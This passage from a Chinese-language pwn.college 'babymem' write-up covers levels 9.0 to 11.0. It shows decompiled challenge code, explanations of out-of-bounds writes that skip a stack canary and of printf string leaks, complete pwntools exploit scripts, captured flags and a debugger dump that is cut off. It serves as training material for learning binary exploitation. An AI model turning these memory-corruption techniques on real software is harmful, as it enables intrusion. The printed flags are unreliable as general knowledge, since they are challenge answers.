  puts(&quot;      sendfile(1, open(\&quot;/flag\&quot;, 0), 0, 256);&quot;);
  puts(&quot;      puts(\&quot;\&quot;);&quot;);
  puts(&quot;    }&quot;);
  puts(byte_440D);
  puts(&quot;So how do you pass the check? There *is* a way, and we will cover it later,&quot;);
  puts(&quot;but for now, we will simply bypass it! You can overwrite the return address&quot;);
  puts(&quot;with *any* value (as long as it points to executable code), not just the start&quot;);
  puts(&quot;of functions. Let&apos;s overwrite past the token check in win!\n&quot;);
  puts(&quot;To do this, we will need to analyze the program with objdump, identify where&quot;);
  puts(&quot;the check is in the win_authed() function, find the address right after the check,&quot;);
  puts(&quot;and write that address over the saved return address.\n&quot;);
  puts(&quot;Go ahead and find this address now. When you&apos;re ready, input a buffer overflow&quot;);
  printf(
    &quot;that will overwrite the saved return address (at %p, %d bytes into the buffer)\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)v11);
  puts(&quot;with the correct value.\n&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, v10);
  while ( *v12 &amp;lt; v10 )
  {
    printf(&quot;About to read 1 byte to %p, this is %d bytes away from the start of the input buffer.\n&quot;, &amp;amp;v11[*v12], *v12);
    v3 = read(0, &amp;amp;v11[*v12], 1uLL);
    *v12 += v3;
  }
  v9 = *v12;
  if ( v9 &amp;lt; 0 )
  {
    v4 = __errno_location();
    v5 = strerror(*v4);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v5);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v9);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, v11);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of the number of bytes read counter and read offset is %p.\n&quot;, v12);
  printf(&quot;- the address of win_authed() is %p.\n&quot;, win_authed);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win_authed() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  if ( (unsigned __int64)&amp;amp;v11[v9] &amp;gt; rp_ + 2 )
  {
    puts(&quot;WARNING: You sent in too much data, and overwrote more than two bytes of the address.&quot;);
    puts(&quot;         This can still work, because I told you the correct address to use for&quot;);
    puts(&quot;         this execution, but you should not rely on that information.&quot;);
    puts(&quot;         You can solve this challenge by only overwriting two bytes!&quot;);
    puts(&quot;         &quot;);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题的漏洞在于没有对数组索引做是否超出数组容量的判断，导致可以通过数组越界在任意内存处写入数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while ( *v12 &amp;lt; v10 )
{
  printf(&quot;About to read 1 byte to %p, this is %d bytes away from the start of the input buffer.\n&quot;, &amp;amp;v11[*v12], *v12);
  v3 = read(0, &amp;amp;v11[*v12], 1uLL);
  *v12 += v3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们知道 &lt;code&gt;v10&lt;/code&gt; 是我们提供的任意大小。程序内部通过一个 &lt;code&gt;while&lt;/code&gt; 循环从零开始向 &lt;code&gt;v13&lt;/code&gt; 数组读入数据，一次一字节，每次写完后将 &lt;code&gt;*v12&lt;/code&gt; 加上本次读入字节数，也就是加一，以此指向下一个内存单元。这个过程一共写 &lt;code&gt;v10&lt;/code&gt; 次。&lt;/p&gt;
&lt;p&gt;由于读入数据的实现是 &lt;code&gt;read(0, &amp;amp;v11[*v12], 1uLL)&lt;/code&gt;，这会将一个字节读到 &lt;code&gt;&amp;amp;v11[*v12]&lt;/code&gt; 这个地址。&lt;code&gt;*v12&lt;/code&gt; 是从零开始的索引，&lt;code&gt;v11&lt;/code&gt; 保存的是输入缓冲区的起始地址。&lt;/p&gt;
&lt;p&gt;如果我们将输入缓冲区填满，再多写入一个字节就会覆盖索引 &lt;code&gt;*v12&lt;/code&gt; 的值。如果我们把索引设为我们想写入的位置，就实现了任意位置写。因此这里我们只需要计算要覆盖的返回地址和输入缓冲区起始位置之间的距离即可，用这个距离覆盖索引值来修改返回地址。&lt;/p&gt;
&lt;p&gt;不过根据程序逻辑，我们是先判断 &lt;code&gt;*v12 &amp;lt; v10&lt;/code&gt; 是否成立，成立则读入一个字节到 &lt;code&gt;&amp;amp;v11[*v12]&lt;/code&gt;，然后将 &lt;code&gt;*v12&lt;/code&gt; 加一，回到判断，如果还是小于 &lt;code&gt;v10&lt;/code&gt; 就再读入一个字节到指定位置。因此我们计算出输入缓冲区起始位置到返回地址之间的距离后应该将其减一，用这个值来覆盖索引值，这样才能做到下一次读入的位置是我们想覆盖的目标地址。&lt;/p&gt;
&lt;p&gt;这个程序是开启了 Canary 和 PIE 保护的，不过因为数组越界写的漏洞存在，我们可以直接跳过 Canary 覆盖返回地址。因为有 PIE，而我们通过页偏移的方式定位要执行的指令，所以我们最后只需要两个字节来覆盖返回地址。这里需要注意的是，payload 结构是用来填充数组的 padding + 用来重定位写入索引的一字节 + 用来重定位执行流的两字节页偏移。如果我们将这个 payload 大小作为 &lt;code&gt;v10&lt;/code&gt; 的话，得到的可输入大小是数组大小加三，但是我们的返回地址肯定在一个比较高的位置，导致 &lt;code&gt;*v12 &amp;lt; v10&lt;/code&gt; 这条检测失败，不会去覆盖返回地址。所以为了绕过这个判断，我们实际需要的输入大小应该是用来重定位写入的索引的值加三，那这不够的大小就需要我们通过在 payload 末尾再加一段 padding 实现。当然你也可以手动指定最大输入大小就是了…&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-9-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+1786
b *challenge+1816
b *challenge+1825
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


destination = b&quot;\x47&quot;
fixed_offset = b&quot;\x84&quot;
possible_bytes = [bytes([i]) for i in range(0x06, 0x106, 0x10)]
padding = b&quot;&quot;.ljust(0x30, b&quot;A&quot;) + destination
extra_padding = b&quot;&quot;.ljust(0x17, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()
        # pause()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


while True:
    try:
        target = launch(debug=False)

        payload = padding
        payload += fixed_offset + random.choice(possible_bytes)
        payload += extra_padding
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{QccZPJ6VBhlEFtdfJdexxhwYSnh.0VNwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int v0; // eax
  int *v1; // rax
  char *v2; // rax
  unsigned __int64 v4; // [rsp+28h] [rbp-88h] BYREF
  _BYTE *v5; // [rsp+30h] [rbp-80h]
  int *v6; // [rsp+38h] [rbp-78h]
  _BYTE v7[96]; // [rsp+40h] [rbp-70h] BYREF
  int v8; // [rsp+A0h] [rbp-10h] BYREF
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  memset(v7, 0, sizeof(v7));
  v8 = 0;
  v5 = v7;
  v6 = &amp;amp;v8;
  v4 = 0LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;v4);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, v4);
  while ( *v6 &amp;lt; v4 )
  {
    v0 = read(0, &amp;amp;v5[*v6], 1uLL);
    *v6 += v0;
  }
  if ( *v6 &amp;lt; 0 )
  {
    v1 = __errno_location();
    v2 = strerror(*v1);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v2);
    exit(1);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同上一题一样，自己琢磨去吧……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-9-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+212
b *challenge+233
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


destination = b&quot;\x77&quot;
fixed_offset = b&quot;\xe4&quot;
possible_bytes = [bytes([i]) for i in range(0x0F, 0x10F, 0x10)]
padding = b&quot;&quot;.ljust(0x60, b&quot;A&quot;) + destination
extra_padding = b&quot;&quot;.ljust(0x17, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()
        # pause()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


while True:
    try:
        target = launch(debug=False)

        payload = padding
        payload += fixed_offset + random.choice(possible_bytes)
        payload += extra_padding
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{QfzSsyMdYf7_dP64EnXQ8DrrgQ1.0lNwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and leak the flag. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int v3; // eax
  int *v4; // rax
  char *v5; // rax
  _QWORD v7[3]; // [rsp+0h] [rbp-170h] BYREF
  int v8; // [rsp+1Ch] [rbp-154h]
  int v9; // [rsp+24h] [rbp-14Ch]
  size_t nbytes; // [rsp+28h] [rbp-148h] BYREF
  void *v11; // [rsp+30h] [rbp-140h]
  void *buf; // [rsp+38h] [rbp-138h]
  _BYTE v13[288]; // [rsp+40h] [rbp-130h] BYREF
  int v14; // [rsp+160h] [rbp-10h]
  char v15; // [rsp+164h] [rbp-Ch]
  unsigned __int64 v16; // [rsp+168h] [rbp-8h]
  __int64 savedregs; // [rsp+170h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+178h] [rbp+8h] BYREF

  v8 = a1;
  v7[2] = a2;
  v7[1] = a3;
  v16 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0;
  v15 = 0;
  v11 = v13;
  buf = &amp;amp;v13[37];
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v7;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v7) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, v11);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 37);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, the flag will be loaded into memory.&quot;);
  puts(&quot;However, at no point will this program actually print the buffer storing the flag.&quot;);
  v3 = open(&quot;/flag&quot;, 0);
  read(v3, buf, 0x100uLL);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, v11);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)v11 + nbytes,
    nbytes - 37);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v9 = read(0, v11, nbytes);
  if ( v9 &amp;lt; 0 )
  {
    v4 = __errno_location();
    v5 = strerror(*v4);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v5);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v9);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, v11);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of the flag is %p.\n&quot;, buf);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)v11);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;4755 .rwsr-xr-x 18k root root 12 Dec 21:43 babymem-level-10-0*
0400 .r--------  57 root root 12 Dec 22:13 /flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过调试我们发现，&lt;code&gt;read&lt;/code&gt; 并不会从 &lt;code&gt;/flag&lt;/code&gt; 中读到数据。但由于这是个 &lt;code&gt;SUID&lt;/code&gt; 程序，运行的时候会以这个程序的所有者的身份运行，而所有者是 &lt;code&gt;root&lt;/code&gt;，那么理应我们可以读取 &lt;code&gt;/flag&lt;/code&gt; 才对。这里的问题其实在于内核的保护策略：调试 &lt;code&gt;SUID&lt;/code&gt; 程序的时候，Linux 内核会移除 &lt;code&gt;SUID&lt;/code&gt; 位，使用当前用户权限调试，以此防止攻击者通过调试器以特权身份执行恶意代码。
直接一个 &lt;code&gt;sudo&lt;/code&gt; 怼上去看它服不服吧 LMAO。&lt;/p&gt;
&lt;p&gt;注意到程序最后使用 &lt;code&gt;printf&lt;/code&gt; 将整个 &lt;code&gt;buf&lt;/code&gt; 的内容输出。而我们的 &lt;code&gt;flag&lt;/code&gt; 在此之前就已经被保存到 &lt;code&gt;buf&lt;/code&gt; 中了。所以这里考察的是 &lt;code&gt;printf&lt;/code&gt; 在遇到 &lt;code&gt;\x00&lt;/code&gt; 后认为字符串结束而中断输出。&lt;/p&gt;
&lt;p&gt;所以我们只要使用垃圾值填充到 &lt;code&gt;flag&lt;/code&gt; 保存的位置就好了。&lt;/p&gt;
&lt;p&gt;~为什么那么简单……这可是至高的 Level 10！！！~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-10-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+507
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b&quot;&quot;.ljust(0x25, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success(&quot;Success! Exiting...&quot;)

        pause()
        exit()
except Exception as e:
    log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{cHV80jBzHGyTr_qaE0HdorP-81y.01NwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and leak the flag. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;试问这和上一题有何区别……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-10-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+166
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b&quot;&quot;.ljust(0x51, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success(&quot;Success! Exiting...&quot;)

        pause()
        exit()
except Exception as e:
    log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{4n50Ii5yzf-WULWGzVOqmN3vTgp.0FOwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and leak the flag. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和前面两题差不多，考察点都是 &lt;code&gt;SUID&lt;/code&gt; 的性质和看能不能想到 &lt;code&gt;printf&lt;/code&gt; 判断字符串结束的机制。利用这个机制来泄漏 &lt;code&gt;flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;和前面两题最大的区别在于这次使用 &lt;code&gt;mmap&lt;/code&gt; 函数来映射，或者说分配内存。之前是变量自动分配内存。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mmap&lt;/code&gt; 映射成功返回起始地址，失败返回 &lt;code&gt;-1&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  int i; // [rsp+2Ch] [rbp-34h]
  int fd; // [rsp+30h] [rbp-30h]
  int v5; // [rsp+34h] [rbp-2Ch]
  size_t nbytes; // [rsp+38h] [rbp-28h] BYREF
  void *v7; // [rsp+40h] [rbp-20h]
  void *buf; // [rsp+48h] [rbp-18h]
  void *v9; // [rsp+50h] [rbp-10h]
  void *v10; // [rsp+58h] [rbp-8h]

  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  puts(&quot;This challenge stores your input buffer in an mmapped page of memory!&quot;);
  v7 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
  printf(&quot;Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n&quot;, v7);
  puts(&quot;In this level, the flag will be loaded into memory.&quot;);
  puts(&quot;However, at no point will this program actually print the buffer storing the flag.&quot;);
  puts(&quot;Mapping memory for the flag...&quot;);
  buf = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
  fd = open(&quot;/flag&quot;, 0);
  read(fd, buf, 0x400uLL);
  close(fd);
  printf(&quot;Called mmap(0, 0x1000, 4, MAP_SHARED, open(\&quot;/flag\&quot;, 0), 0) = %p\n&quot;, buf);
  for ( i = 0; i &amp;lt;= 2; ++i )
  {
    v10 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
    printf(&quot;Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n&quot;, v10);
  }
  puts(&quot;Memory mapping the input buffer...&quot;);
  v9 = mmap(0LL, 0x78uLL, 3, 34, 0, 0LL);
  printf(&quot;Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) = %p\n&quot;, v9);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, v9);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)v9 + nbytes,
    nbytes - 120);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v5 = read(0, v9, nbytes);
  if ( v5 &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v5);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, v9);
  printf(&quot;- the address of the flag is %p.\n&quot;, buf);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)v9);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;alr，让我们调试看看需要多大的 padding：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000055e7d6a8cd2a in challenge ()
------- tip of the day (disable with set show-tips off) -------
Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x1f
 RBX  0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
 RCX  0x22
 RDX  3
 RDI  0
 RSI  0x1000
 R8   0
 R9   0
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) —▸ 0x7044ddb3e2e0 —▸ 0x55e7d6a8b000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— 0
 RSP  0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
 RIP  0x55e7d6a8cd2a (challenge+188) ◂— call 0x55e7d6a8c150
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x55e7d6a8cd2a &amp;lt;challenge+188&amp;gt;    call   mmap@plt                    &amp;lt;mmap@plt&amp;gt;
        addr: 0
        len: 0x1000
        prot: 3
        flags: 0x22
        fd: 0 (pipe:[532567])
        offset: 0

   0x55e7d6a8cd2f &amp;lt;challenge+193&amp;gt;    mov    qword ptr [rbp - 0x18], rax
   0x55e7d6a8cd33 &amp;lt;challenge+197&amp;gt;    mov    esi, 0                          ESI =&amp;gt; 0
   0x55e7d6a8cd38 &amp;lt;challenge+202&amp;gt;    lea    rdi, [rip + 0x1530]             RDI =&amp;gt; 0x55e7d6a8e26f ◂— 0x67616c662f /* &apos;/flag&apos; */
   0x55e7d6a8cd3f &amp;lt;challenge+209&amp;gt;    mov    eax, 0                          EAX =&amp;gt; 0
   0x55e7d6a8cd44 &amp;lt;challenge+214&amp;gt;    call   open@plt                    &amp;lt;open@plt&amp;gt;

   0x55e7d6a8cd49 &amp;lt;challenge+219&amp;gt;    mov    dword ptr [rbp - 0x30], eax
   0x55e7d6a8cd4c &amp;lt;challenge+222&amp;gt;    mov    rcx, qword ptr [rbp - 0x18]
   0x55e7d6a8cd50 &amp;lt;challenge+226&amp;gt;    mov    eax, dword ptr [rbp - 0x30]
   0x55e7d6a8cd53 &amp;lt;challenge+229&amp;gt;    mov    edx, 0x400                      EDX =&amp;gt; 0x400
   0x55e7d6a8cd58 &amp;lt;challenge+234&amp;gt;    mov    rsi, rcx
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7ffcf78305d8 —▸ 0x7ffcf78317a8 —▸ 0x7ffcf78336f3 ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-050 0x7ffcf78305e0 —▸ 0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
03:0018│-048 0x7ffcf78305e8 ◂— 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 —▸ 0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— ...
05:0028│-038 0x7ffcf78305f8 —▸ 0x7044dd967c80 (putchar+240) ◂— jmp 0x7044dd967bd6
06:0030│-030 0x7ffcf7830600 ◂— 0x230
